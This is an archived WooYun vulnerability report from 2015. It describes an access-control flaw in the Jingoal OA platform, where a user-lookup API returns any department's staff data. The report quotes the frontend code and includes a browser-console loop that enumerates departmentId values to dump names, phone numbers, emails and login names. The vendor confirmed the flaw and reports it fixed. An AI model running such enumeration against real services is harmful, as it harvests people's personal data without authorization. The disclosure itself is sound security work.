当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156081

漏洞标题:今目标OA某处用户信息泄漏

相关厂商:jingoal.com

漏洞作者: 路人甲

提交时间:2015-11-26 15:26

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-26: 细节已通知厂商并且等待厂商处理中
2015-11-26: 厂商已经确认,细节仅向厂商公开
2015-12-06: 细节向核心白帽子及相关领域专家公开
2015-12-16: 细节向普通白帽子公开
2015-12-26: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

入门级~

详细说明:

今目标OA工作平台-》通讯录,查询接口可不受限制任意查询分组用户信息:
地址:http://web.jingoal.com/#workbench~type=contact (需登录)

snapshot_17_0.png


jingoal.ajax('/mgt/rest/common/get_users_bydeptid?departmentId=' + deptId, {
method: 'GET',
onsuccess: function (data) {
var items = {};
data.forEach(function (item) {
items[item.user_id] = item;
});
contacts.forEach(function (contact, index) {
var dom = contact.getBody(), contactId, concatData;
if (dom.tagName.toLowerCase() === 'li') {
contactId = dom.getAttribute('data-id');
if (items[contactId]) {//加溶错处理,本地环境不能测试,待线上测试
concatData = items[contactId];
concatData.bgColor = contactBgColor[index % 10];
concatData.department = jingoal.CompanyDept[deptId].name;
if (concatData.duty_name === 'undefined') {
concatData.duty_name = '未分配职务';
}
if (concatData) {
dom.innerHTML = etpl.render('workbench_person_contact', {node: concatData});
}
}
}
});
baseDom.setAttribute('data-loaded', 'true');
}
});


漏洞证明:

地址:http://web.jingoal.com/mgt/rest/common/get_users_bydeptid?departmentId=23456(需登录)
只要修改departmentId参数可任意查询,如图:

snapshot_18_0.png


再来个随机测试,地址:http://web.jingoal.com/#workbench~type=contact (需登录)打开浏览器console

for(i=0;i<5000000;i+=23456)jingoal.ajax('/mgt/rest/common/get_users_bydeptid?departmentId='+i, {method: 'GET',onsuccess: function (data) {data.forEach(function (item) {console.log(item['user_id']+' - '+item['user_name']+' - '+item['corp_phone']+' - '+item['email']+' - '+item['corp_phone']+' - '+item['login_name']);});}});


效果如下:

snapshot_19_0.png


修复方案:

控制一下权限吧~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-11-26 17:58

厂商回复:

正在修复

最新状态:

2015-11-27:非常感谢您对我们安全工作的支持。后续会有礼品发放。已经修复完成。